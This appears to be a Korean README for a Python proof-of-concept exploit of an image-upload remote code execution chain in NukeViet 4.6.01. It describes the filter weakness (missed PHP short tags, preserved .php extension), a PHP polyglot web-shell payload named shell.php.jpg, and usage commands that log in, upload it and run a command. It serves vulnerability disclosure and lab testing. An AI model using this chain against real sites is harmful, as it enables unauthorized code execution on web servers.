
NukeViet 4.6.01 이미지 업로드 RCE 체인을 위한 Python PoC: PHP 폴리글랏 페이로드를 생성하고, 승인된 랩 환경에서 로그인하여 이를 업로드한 뒤 증명 명령을 실행합니다.
보고된 NukeViet 이미지 업로드 체인에 대한 승인된 실습 환경용 PoC:
verify_image()가 PHP 짧은 열기 태그(<?)를 놓친다..php 확장자를 보존한다..php를 검사한다.이 저장소에는 자격 증명, 토큰, 쿠키 또는 실제 대상 구성이 포함되어 있지 않다. 소유하거나 명시적으로 승인된 실습 환경에 대해서만 실행하라.
requests의존성 설치:
python3 -m pip install requests
네트워크 요청 없음:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
스크립트는 다음을 수행한다: 로그인 -> 멀티파트 업로드 -> 업로드된 경로 추출 -> 명령 요청 1회. id 또는 whoami와 같은 무해한 증명 명령을 사용하라.
이 PoC는 정확한 대상 구성이 PHP 실행에 도달할 때만 영향을 입증한다. 페이로드 생성 통과나 소스 수준 일치만으로는 런타임 RCE를 증명하지 않는다. 제3자 시스템에 대해 실행하지 마라.